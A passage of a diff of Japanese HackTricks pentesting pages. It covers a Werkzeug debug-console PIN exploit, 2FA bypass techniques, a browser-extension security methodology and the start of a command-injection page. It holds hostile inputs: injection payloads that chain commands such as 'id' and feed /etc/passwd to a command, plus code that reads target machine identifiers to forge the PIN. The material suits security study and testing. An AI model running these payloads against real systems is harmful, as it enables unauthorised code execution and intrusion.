return _machine_id
\`\`\`python def get\_machine\_id() -> t.Optional\[t.Union\[str, bytes]]: global \_machine\_id
def _generate() -> t.Optional[t.Union[str, bytes]]:
linux = b""
if \_machine\_id is not None: return \_machine\_id
def \_generate() -> t.Optional\[t.Union\[str, bytes]]: linux = b""
## machine-id is stable across boots, boot\_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot\_id": try: with open(filename, "rb") as f: value = f.readline().strip() except OSError: continue
if value: linux += value break
## Containers share the same machine id, add some cgroup
## information. This is used outside containers too but should be
## relatively stable across boots.
try: with open("/proc/self/cgroup", "rb") as f: linux += f.readline().strip().rpartition(b"/")\[2] except OSError: pass
if linux: return linux
## On OS X, use ioreg to get the computer's serial number.
# machine-id is stable across boots, boot_id is not.
for filename in "/etc/machine-id", "/proc/sys/kernel/random/boot_id":
try:
with open(filename, "rb") as f:
value = f.readline().strip()
except OSError:
continue
if value:
linux += value
break
# Containers share the same machine id, add some cgroup
# information. This is used outside containers too but should be
# relatively stable across boots.
try:
with open("/proc/self/cgroup", "rb") as f:
linux += f.readline().strip().rpartition(b"/")[2]
except OSError:
pass
if linux:
return linux
# On OS X, use ioreg to get the computer's serial number.
try:
```
````
</details>
必要なすべてのデータをまとめた後、脆弱性スクリプトを実行してWerkzeugコンソールのPINを生成できます。
@ -155,34 +151,19 @@ else:
rv = num
print(rv)
```
````
このスクリプトは、ビットを連結してハッシュ化し、特定のソルト(`cookiesalt`と`pinsalt`を追加し、出力をフォーマットしてPINを生成します。生成されるPINがWerkzeugコンソールで期待されるPINと一致するようにするには、`probably_public_bits`と`private_bits`の実際の値をターゲットシステムから正確に取得する必要があります。
{% hint style="success" %}
Werkzeugの**古いバージョン**を使用している場合は、sha1の代わりにmd5の**ハッシュアルゴリズムを変更**してみてください。
{% endhint %}
## 参考文献
### 参考文献
* [**https://www.daehee.com/werkzeug-console-pin-exploit/**](https://www.daehee.com/werkzeug-console-pin-exploit/)
* [**https://ctftime.org/writeup/17955**](https://ctftime.org/writeup/17955)
<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
<img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" data-size="original">
**脆弱性評価およびペネトレーションテストのための即座に利用可能なセットアップ**。レコンからレポート作成までの20以上のツールと機能を使用して、どこからでも完全なペンテストを実行します。私たちはペンテスターを置き換えるのではなく、彼らに時間を戻して深く掘り下げたり、シェルをポップしたり、楽しんだりするためのカスタムツール、検出、およびエクスプロイトモジュールを開発しています。
{% embed url="https://pentest-tools.com/" %}
<details>
<summary><strong>**htARTEHackTricks AWS Red Team Expert**で**ゼロからヒーローまでのAWSハッキングを学ぶ**</strong></summary>
HackTricksをサポートする他の方法
* **HackTricksの広告を掲載したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFT**](https://opensea.io/collection/the-peass-family)コレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)を**フォロー**する
* **HackTricks**と**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
</details>

View file

@ -1,4 +1,4 @@
# 2FA/OTP バイパス
# 2FA/OTP Bypass
<details>
@ -9,8 +9,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を入手する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* \*\*💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>
@ -128,7 +127,8 @@ SMS経由でコードを過剰に再送信すると、企業にコストがか
デコイリクエストを利用してブルートフォース試行を曖昧にしたり、レート制限メカニズムを誤誘導したりすることで、バイパス戦略に別のレイヤーを追加できます。このようなリクエストを作成するには、アプリケーションのセキュリティ対策とレート制限の動作について繊細な理解が必要です。
## 参考文献
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35]("https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35")
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://github.com/carlospolop/hacktricks/blob/jp/pentesting-web/%22https:/medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35%22/README.md)
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
<details>
@ -140,8 +140,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)を入手する
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする。
* \*\*💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする。
* **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
</details>

View file

@ -1,4 +1,4 @@
# ブラウザ拡張機能の侵入テスト方法論
# Browser Extension Pentesting Methodology
<details>
@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦で**フォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
- **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬** [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**telegramグループ**](https://t.me/peass)**に参加するか、Twitter 🐦でフォロー**する [**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングテクニックを共有するには、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
@ -48,9 +48,10 @@ HackTricksをサポートする他の方法
## **`manifest.json`**
Chrome拡張機能は、[.crxファイル拡張子](https://www.lifewire.com/crx-file-2620391)を持つZIPフォルダーです。拡張機能のコアは、フォルダーのルートにある**`manifest.json`**ファイルで、レイアウト、権限、およびその他の構成オプションを指定します。
Chrome拡張機能は、[.crxファイル拡張子](https://www.lifewire.com/crx-file-2620391)を持つZIPフォルダーです。拡張機能のコアは、フォルダーのルートにある\*\*`manifest.json`\*\*ファイルで、レイアウト、権限、およびその他の構成オプションを指定します。
例:
```json
{
"manifest_version": 2,
@ -81,9 +82,11 @@ Chrome拡張機能は、[.crxファイル拡張子](https://www.lifewire.com/crx
}
}
```
### `content_scripts`
コンテンツスクリプトは、ユーザーが一致するページに移動するたびに**ロードされます**。この場合、**`https://example.com/*`**と一致するページおよび**`*://*/*/business*`**と一致しないページです。これらはページ自体のスクリプトのように実行され、ページの[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document_Object_Model)に任意アクセスできます。
コンテンツスクリプトは、ユーザーが一致するページに移動するたびに**ロードされます**。この場合、\*\*`https://example.com/*`**と一致するページおよび**`*://*/*/business*`\*\*と一致しないページです。これらはページ自体のスクリプトのように実行され、ページの[Document Object Model (DOM)](https://developer.mozilla.org/en-US/docs/Web/API/Document\_Object\_Model)に任意アクセスできます。
```json
"content_scripts": [
{
@ -98,9 +101,11 @@ Chrome拡張機能は、[.crxファイル拡張子](https://www.lifewire.com/crx
}
],
```
**`include_globs`**と**`exclude_globs`**を使用して、さらにURLを含めたり除外したりすることも可能です。
\*\*`include_globs`**と**`exclude_globs`\*\*を使用して、さらにURLを含めたり除外したりすることも可能です。
これは、ページに説明ボタンを追加するコンテンツスクリプトの例です。[ストレージAPI](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage)を使用して、拡張機能のストレージから`message`値を取得します。
```js
chrome.storage.local.get("message", result =>
{
@ -113,6 +118,7 @@ chrome.runtime.sendMessage("explain");
document.body.appendChild(div);
});
```
<figure><img src="../../.gitbook/assets/image (7).png" alt=""><figcaption></figcaption></figure>
このボタンがクリックされると、コンテンツスクリプトによって拡張機能ページにメッセージが送信されます。これは、`storage`が例外の中にあるAPIに直接アクセスできないというコンテンツスクリプトの制限によるものです。これらの例外を超える機能が必要な場合、コンテンツスクリプトが通信できる拡張機能ページにメッセージが送信されます。
@ -129,7 +135,7 @@ Chromeでコンテンツスクリプトを表示およびデバッグするに
### 注入されたコンテンツスクリプト
{% hint style="success" %}
**コンテンツスクリプトは必須ではない**ことに注意してください。**`tabs.executeScript`**を介してウェブページにスクリプトを**動的に注入**したり、**プログラム的に注入**することも可能です。これにより、より**細かい制御**が可能になります。
**コンテンツスクリプトは必須ではない**ことに注意してください。**`tabs.executeScript`を介してウェブページにスクリプトを動的に注入**したり、**プログラム的に注入**することも可能です。これにより、より**細かい制御**が可能になります。
{% endhint %}
コンテンツスクリプトをプログラム的に注入するには、スクリプトを注入するページに対して[ホスト権限](https://developer.chrome.com/docs/extensions/reference/permissions)が拡張機能に必要です。これらの権限は、拡張機能のマニフェスト内でそれらを要求するか、[**activeTab**](https://developer.chrome.com/docs/extensions/reference/manifest/activeTab)を介して一時的にセキュリティを確保することができます。
@ -156,6 +162,7 @@ Chromeでコンテンツスクリプトを表示およびデバッグするに
{% endcode %}
* **クリック時にJSファイルを注入する:**
```javascript
// content-script.js
document.body.style.backgroundColor = "orange";
@ -168,7 +175,9 @@ files: ["content-script.js"]
});
});
```
* **クリック時に関数を注入する**:
```javascript
//service-worker.js - Inject a function
function injectedFunction() {
@ -182,7 +191,9 @@ func : injectedFunction,
});
});
```
#### スクリプト権限の例
```javascript
// service-workser.js
chrome.scripting.registerContentScripts([{
@ -195,17 +206,19 @@ js : [ "contentScript.js" ],
// Another example
chrome.tabs.executeScript(tabId, { file: "content_script.js" });
```
### Content Scripts `run_at`
`run_at`フィールドは、**JavaScriptファイルがWebページに注入されるタイミング**を制御します。推奨されるデフォルト値は`"document_idle"`です。
可能な値は次のとおりです:
- **`document_idle`**:可能な限りすぐに
- **`document_start`**`css`からのファイルの後、ただし他のDOMが構築される前や他のスクリプトが実行される前に
- **`document_end`**DOMが完全になった直後、ただし画像やフレームなどのサブリソースが読み込まれる前に
* **`document_idle`**:可能な限りすぐに
* **`document_start`**`css`からのファイルの後、ただし他のDOMが構築される前や他のスクリプトが実行される前に
* **`document_end`**DOMが完全になった直後、ただし画像やフレームなどのサブリソースが読み込まれる前に
#### `manifest.json`を介して
```json
{
"name": "My extension",
@ -221,7 +234,9 @@ chrome.tabs.executeScript(tabId, { file: "content_script.js" });
}
```
**`service-worker.js`**を介して
\*\*`service-worker.js`\*\*を介して
```javascript
chrome.scripting.registerContentScripts([{
id : "test",
@ -230,21 +245,23 @@ runAt : "document_idle",
js : [ "contentScript.js" ],
}]);
```
### `バックグラウンド`
コンテンツスクリプトによって送信されたメッセージは、**バックグラウンドページ**によって受信されます。バックグラウンドページは、拡張機能のコンポーネントを調整する中心的な役割を果たします。特筆すべきは、バックグラウンドページが拡張機能の寿命を通じて持続し、直接的なユーザーとのやり取りなしに静かに動作します。独自のDocument Object ModelDOMを持ち、複雑な相互作用や状態管理を可能にします。
**キーポイント**:
- **バックグラウンドページの役割:** 拡張機能の神経中枢として機能し、拡張機能のさまざまな部分とのコミュニケーションと調整を確保します。
- **持続性:** ユーザーには見えないが、拡張機能の機能性には不可欠な、常に存在するエンティティです。
- **自動生成:** 明示的に定義されていない場合、ブラウザは自動的にバックグラウンドページを作成します。この自動生成されたページには、拡張機能のマニフェストで指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクのシームレスな動作を保証します。
* **バックグラウンドページの役割:** 拡張機能の神経中枢として機能し、拡張機能のさまざまな部分とのコミュニケーションと調整を確保します。
* **持続性:** ユーザーには見えないが、拡張機能の機能性には不可欠な、常に存在するエンティティです。
* **自動生成:** 明示的に定義されていない場合、ブラウザは自動的にバックグラウンドページを作成します。この自動生成されたページには、拡張機能のマニフェストで指定されたすべてのバックグラウンドスクリプトが含まれ、拡張機能のバックグラウンドタスクのシームレスな動作を保証します。
{% hint style="success" %}
ブラウザがバックグラウンドページを自動的に生成することで(明示的に宣言されていない場合)、必要なすべてのバックグラウンドスクリプトが統合され、操作されることで、拡張機能のセットアッププロセスが合理化されます。
{% endhint %}
例: バックグラウンドスクリプト:
```js
chrome.runtime.onMessage.addListener((request, sender, sendResponse) =>
{
@ -254,11 +271,12 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
}
})
```
[ランタイム.onMessage API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/runtime/onMessage)を使用してメッセージを受信します。 `"explain"`メッセージを受信すると、[tabs API](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs)を使用して新しいタブでページを開きます。
バックグラウンドスクリプトをデバッグするには、**拡張機能の詳細を表示してサービスワーカーを検査**することができます。これにより、バックグラウンドスクリプトが表示された開発者ツールが開きます:
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
<figure><img src="https://github.com/carlospolop/hacktricks/blob/jp/pentesting-web/browser-extension-pentesting-methodology/broken-reference" alt=""><figcaption></figcaption></figure>
### オプションページおよびその他
@ -277,7 +295,7 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
### `permissions`および`host_permissions`
**`permissions`**および**`host_permissions`**は、`manifest.json`からのエントリで、ブラウザ拡張機能が持つ**どの権限**(ストレージ、位置情報など)と**どのWebページ**に対して権限を持つかを示します。
**`permissions`および`host_permissions`は、`manifest.json`からのエントリで、ブラウザ拡張機能が持つどの権限**(ストレージ、位置情報など)と**どのWebページ**に対して権限を持つかを示します。
ブラウザ拡張機能は非常に**特権的**であるため、悪意のある拡張機能や侵害された拡張機能は、攻撃者に**機密情報を盗み出したりユーザーを監視するための異なる手段を提供**する可能性があります。
@ -292,9 +310,11 @@ chrome.tabs.create({ url: "https://example.net/explanation" });
**コンテンツセキュリティポリシー**は、`manifest.json`内にも宣言できます。定義されている場合、**脆弱**になる可能性があります。
ブラウザ拡張機能ページのデフォルト設定はかなり制限的です:
```bash
script-src 'self'; object-src 'self';
```
CSPと潜在的なバイパスについての詳細は、以下をチェックしてください
{% content-ref url="../content-security-policy-csp-bypass/" %}
@ -303,8 +323,9 @@ CSPと潜在的なバイパスについての詳細は、以下をチェック
### `web_accessible_resources`
ウェブページがブラウザ拡張機能のページ(例:`.html`ページ)にアクセスするためには、このページを`manifest.json`の**`web_accessible_resources`**フィールドに記載する必要があります。\
ウェブページがブラウザ拡張機能のページ(例:`.html`ページ)にアクセスするためには、このページを`manifest.json`の\*\*`web_accessible_resources`\*\*フィールドに記載する必要があります。\
例:
```javascript
{
...
@ -321,15 +342,18 @@ CSPと潜在的なバイパスについての詳細は、以下をチェック
...
}
```
これらのページは次のようなURLでアクセスできます
```
chrome-extension://<extension-id>/message.html
```
公開拡張機能では**拡張機能IDにアクセス**できます:
<figure><img src="../../.gitbook/assets/image (722).png" alt="" width="375"><figcaption></figcaption></figure>
ただし、`manifest.json`パラメータ**`use_dynamic_url`**が使用されている場合、この**IDは動的になる**可能性があります。
ただし、`manifest.json`パラメータ\*\*`use_dynamic_url`**が使用されている場合、この**IDは動的になる\*\*可能性があります。
これらのページにアクセスできることで、これらのページは**潜在的にClickJacking攻撃**の対象となります:
@ -345,24 +369,26 @@ chrome-extension://<extension-id>/message.html
[**ドキュメント**](https://developer.chrome.com/docs/extensions/reference/manifest/externally-connectable)によると、`"externally_connectable"`マニフェストプロパティは、[runtime.connect](https://developer.chrome.com/docs/extensions/reference/runtime#method-connect)および[runtime.sendMessage](https://developer.chrome.com/docs/extensions/reference/runtime#method-sendMessage)を介して拡張機能に接続できる**拡張機能やWebページを宣言**します。
* 拡張機能のマニフェストに**`externally_connectable`**キーが**宣言されていない**か、**`"ids": ["*"]`**として宣言されている場合、**すべての拡張機能が接続できますが、Webページは接続できません**。
* 拡張機能のマニフェストに\*\*`externally_connectable`**キーが**宣言されていない**か、**`"ids": ["*"]`\*\*として宣言されている場合、**すべての拡張機能が接続できますが、Webページは接続できません**。
* 特定のIDが指定されている場合、たとえば`"ids": ["aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"]`のように、**それらのアプリケーションのみ**が接続できます。
* **一致**が指定されている場合、それらのWebアプリが接続できます
```json
"matches": [
"https://*.google.com/*",
"*://*.chromium.org/*",
```
* もし**`"externally_connectable": {}`**として指定されている場合、どのアプリやウェブサイトも接続できません。
* もし\*\*`"externally_connectable": {}`\*\*として指定されている場合、どのアプリやウェブサイトも接続できません。
ここで指定されている**拡張機能やURLが少ないほど**、攻撃面が**狭く**なります。
{% hint style="danger" %}
もし**`externally_connectable`**で**XSSに対して脆弱なウェブページ**が示されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信**することができ、Content ScriptとそのCSPを完全にバイパスできます。
もし\*\*`externally_connectable`**で**XSSに対して脆弱なウェブページ**が示されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信\*\*することができ、Content ScriptとそのCSPを完全にバイパスできます。
したがって、これは**非常に強力なバイパス**です。
さらに、クライアントが不正な拡張機能をインストールした場合、脆弱な拡張機能との通信が許可されていなくても、許可されたウェブページに**XSSデータを注入**したり、**`WebRequest`****`DeclarativeNetRequest`** APIを悪用して対象ドメインのリクエストを操作し、ページのリクエストを**JavaScriptファイル**に変更する可能性があります対象ページのCSPがこれらの攻撃を防ぐことができます。このアイデアは[**この解説から来ています**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。
さらに、クライアントが不正な拡張機能をインストールした場合、脆弱な拡張機能との通信が許可されていなくても、許可されたウェブページに**XSSデータを注入**したり、**`WebRequest`や`DeclarativeNetRequest`** APIを悪用して対象ドメインのリクエストを操作し、ページのリクエストを**JavaScriptファイル**に変更する可能性があります対象ページのCSPがこれらの攻撃を防ぐことができます。このアイデアは[**この解説から来ています**](https://www.darkrelay.com/post/opera-zero-day-rce-vulnerability)。
{% endhint %}
##
@ -447,6 +473,7 @@ Content Scriptは、[**runtime.sendMessage()**](https://developer.chrome.com/doc
**応答** を処理するには、返された **Promise** を使用します。ただし、後方互換性のために、最後の引数として **コールバック** を渡すこともできます。
**content script** からリクエストを送信する方法は次のようになります:
```javascript
(async () => {
const response = await chrome.runtime.sendMessage({greeting: "hello"});
@ -454,7 +481,9 @@ const response = await chrome.runtime.sendMessage({greeting: "hello"});
console.log(response);
})();
```
**拡張機能**(通常は**バックグラウンドスクリプト**)からリクエストを送信します。コンテンツスクリプトは、指定したタブに送信する必要があります。選択したタブのコンテンツスクリプトにメッセージを送信する方法の例:
```javascript
// From https://stackoverflow.com/questions/36153999/how-to-send-a-message-between-chrome-extension-popup-and-content-script
(async () => {
@ -464,7 +493,9 @@ const response = await chrome.tabs.sendMessage(tab.id, {greeting: "hello"});
console.log(response);
})();
```
**受信側**では、メッセージを処理するために[**runtime.onMessage**](https://developer.chrome.com/docs/extensions/reference/runtime#event-onMessage) **イベントリスナー**を設定する必要があります。これはコンテンツスクリプトや拡張機能ページから見ても同じように見えます。
```javascript
// From https://stackoverflow.com/questions/70406787/javascript-send-message-from-content-js-to-background-js
chrome.runtime.onMessage.addListener(
@ -477,6 +508,7 @@ sendResponse({farewell: "goodbye"});
}
);
```
例で強調されているように、**`sendResponse()`** は同期的に実行されました。`sendResponse()` を非同期に実行するために `onMessage` イベントハンドラを変更するには、`return true;` を組み込むことが重要です。
複数のページが `onMessage` イベントを受信するシナリオでは、特定のイベントに対して最初に `sendResponse()` を実行するページだけが効果的に応答を返すことができます。同じイベントへの後続の応答は考慮されません。
@ -501,11 +533,13 @@ Chrome 拡張機能のソースコードは、コマンドラインを使用し
1. `"extension_id"` を実際の拡張機能の ID に置き換えます。
2. 次のコマンドを実行します:
```bash
extension_id=your_extension_id # Replace with the actual extension ID
curl -L -o "$extension_id.zip" "https://clients2.google.com/service/update2/crx?response=redirect&os=mac&arch=x86-64&nacl_arch=x86-64&prod=chromecrx&prodchannel=stable&prodversion=44.0.2403.130&x=id%3D$extension_id%26uc"
unzip -d "$extension_id-source" "$extension_id.zip"
```
### CRX Viewerウェブサイトを使用する
[https://robwu.nl/crxviewer/](https://robwu.nl/crxviewer/)
@ -539,19 +573,19 @@ Chromeを開いて`chrome://extensions/`に移動します。右上の「開発
ブラウザ拡張機能は**攻撃面積が限られています**が、一部には**脆弱性**や**潜在的な強化改善**が含まれている場合があります。以下は最も一般的なものです:
* [ ] 要求される**`permissions`**をできるだけ**制限**する
* [ ] **`host_permissions`**をできるだけ**制限**する
* **`content_security_policy`****強力に**使用する
* 必要がない場合は**`externally_connectable`**をできるだけ**制限**し、デフォルトで残さないように**`{}`**を指定する
* ここで**XSSに対して脆弱なURL**が言及されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信**できます。非常に強力なバイパスです。
* **`web_accessible_resources`**をできるだけ**制限**する。可能であれば空にしても構いません。
* **`web_accessible_resources`**がない場合、[**ClickJacking**](browext-clickjacking.md)をチェックします
* 拡張機能からウェブページへの**通信**が発生する場合、通信によって引き起こされる[XSSのチェック](browext-xss-example.md)を行います。
* Post Messagesが使用されている場合、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/)をチェックします。
* **Content ScriptがDOMの詳細にアクセス**する場合、それらがWebによって**変更**されるとXSSを導入していないことを確認します
* この通信が**Content Script -> Background script通信**にも関与している場合は特に注意してください
* ブラウザ拡張機能の中に**機密情報を保存**すべきではありません
* ブラウザ拡張機能の中に**機密情報を保存**すべきではありません
* [ ] 要求される\*\*`permissions`**をできるだけ**制限\*\*する
* [ ] **`host_permissions`をできるだけ制限**する
* [ ] **`content_security_policy`を強力に**使用する
* [ ] 必要がない場合は\*\*`externally_connectable`**をできるだけ**制限**し、デフォルトで残さないように**`{}`\*\*を指定する
* [ ] ここで**XSSに対して脆弱なURL**が言及されている場合、攻撃者は**バックグラウンドスクリプトに直接メッセージを送信**できます。非常に強力なバイパスです。
* [ ] **`web_accessible_resources`をできるだけ制限**する。可能であれば空にしても構いません。
* [ ] \*\*`web_accessible_resources`\*\*がない場合、[**ClickJacking**](browext-clickjacking.md)をチェックします
* [ ] 拡張機能からウェブページへの**通信**が発生する場合、通信によって引き起こされる[XSSのチェック](browext-xss-example.md)を行います。
* [ ] Post Messagesが使用されている場合、[**Post Messageの脆弱性**](../postmessage-vulnerabilities/)をチェックします。
* [ ] **Content ScriptがDOMの詳細にアクセス**する場合、それらがWebによって**変更**されるとXSSを導入していないことを確認します
* [ ] この通信が**Content Script -> Background script通信**にも関与している場合は特に注意してください
* [ ] ブラウザ拡張機能の中に**機密情報を保存**すべきではありません
* [ ] ブラウザ拡張機能の中に**機密情報を保存**すべきではありません
## ツール
@ -599,8 +633,7 @@ Project Netoは、FirefoxやChromeなどのよく知られたブラウザ用の
<details>
<summary><strong>htARTEHackTricks AWS Red Team ExpertでAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTEHackTricks AWS Red Team Expert</strong></a><strong>を使ってHackTricksをサポートする他の方法:</strong></summary>
* もし**HackTricksであなたの企業を宣伝したい**か**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksグッズ**](https://peass.creator-spring.com)を入手してください
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
* **💬[Discordグループ](https://discord.gg/hRep4RUj7f)に参加する**か、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で**フォロー**する🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **ハッキングテクニックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
\* もし\*\*HackTricksであなたの企業を宣伝したい\*\*か\*\*HackTricksをPDFでダウンロードしたい\*\*場合は、\[\*\*SUBSCRIPTION PLANS\*\*]\(https://github.com/sponsors/carlospolop)をチェックしてください! \* \[\*\*公式PEASSHackTricksグッズ\*\*]\(https://peass.creator-spring.com)を入手してください \* \[\*\*The PEASS Family\*\*]\(https://opensea.io/collection/the-peass-family)を発見し、独占的な\[\*\*NFTs\*\*]\(https://opensea.io/collection/the-peass-family)のコレクションをご覧ください \* \*\*💬\[Discordグループ]\(https://discord.gg/hRep4RUj7f)に参加する\*\*か、\[\*\*telegramグループ\*\*]\(https://t.me/peass)に参加するか、\*\*Twitter\*\*で\*\*フォロー\*\*する🐦\[\*\*@carlospolopm\*\*]\(https://twitter.com/hacktricks\\\_live)\*\*。\*\* \* \*\*ハッキングテクニックを共有するために、\[\*\*HackTricks\*\*]\(https://github.com/carlospolop/hacktricks)と\[\*\*HackTricks Cloud\*\*]\(https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。\*\*
</details>

View file

@ -1,4 +1,4 @@
# コマンドインジェクション
# Command Injection
<details>
@ -9,7 +9,7 @@ HackTricks をサポートする他の方法:
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksのグッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で **フォロー**する。
* \*\*💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で **フォロー**する。
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
</details>
@ -28,6 +28,7 @@ HackTricks をサポートする他の方法:
### コンテキスト
**入力がどこにインジェクトされているか**によっては、コマンドの前に**クォートされたコンテキストを終了する**必要がある場合があります(`"`または`'`を使用)。
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -46,23 +47,27 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### 制限回避
もしLinuxマシン内で**任意のコマンドを実行**しようとしている場合は、この**制限回避**について読むことに興味があるでしょう:
{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% content-ref url="../linux-hardening/bypass-bash-restrictions/" %}
[bypass-bash-restrictions](../linux-hardening/bypass-bash-restrictions/)
